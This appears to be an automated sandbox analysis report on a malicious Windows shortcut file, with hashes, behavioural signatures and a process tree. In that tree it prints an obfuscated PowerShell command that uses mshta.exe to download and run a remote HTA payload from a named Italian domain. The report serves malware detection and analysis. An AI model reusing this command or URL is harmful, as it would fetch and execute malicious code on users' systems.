Analysis
-
max time kernel
142s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
25/04/2024, 02:08
Static task
static1
Behavioral task
behavioral1
Sample
e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk
Resource
win10v2004-20240412-en
General
-
Target
e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk
-
Size
2KB
-
MD5
82fde340f187a517e0feced1d4972363
-
SHA1
07740ba4e30a1dbc830451a0d05130ba1af28be9
-
SHA256
e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3
-
SHA512
db1630813f3a6e19b9c1bfb6dbaecd3829592230635721df5e2121217bbe2ea2a7594eae7061d5d2ce2baf4bfad5687ce22fa58dba94e8e30b0d7630e872f79c
Malware Config
Extracted
https://www.sessosesso.it/assets/aw/yt.hta
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 11 5112 mshta.exe 18 5112 mshta.exe 44 5112 mshta.exe 47 5112 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1864 powershell.exe 1864 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1864 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2272 wrote to memory of 1864 2272 cmd.exe 87 PID 2272 wrote to memory of 1864 2272 cmd.exe 87 PID 1864 wrote to memory of 5112 1864 powershell.exe 88 PID 1864 wrote to memory of 5112 1864 powershell.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta3⤵
- Blocklisted process makes network request
PID:5112
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82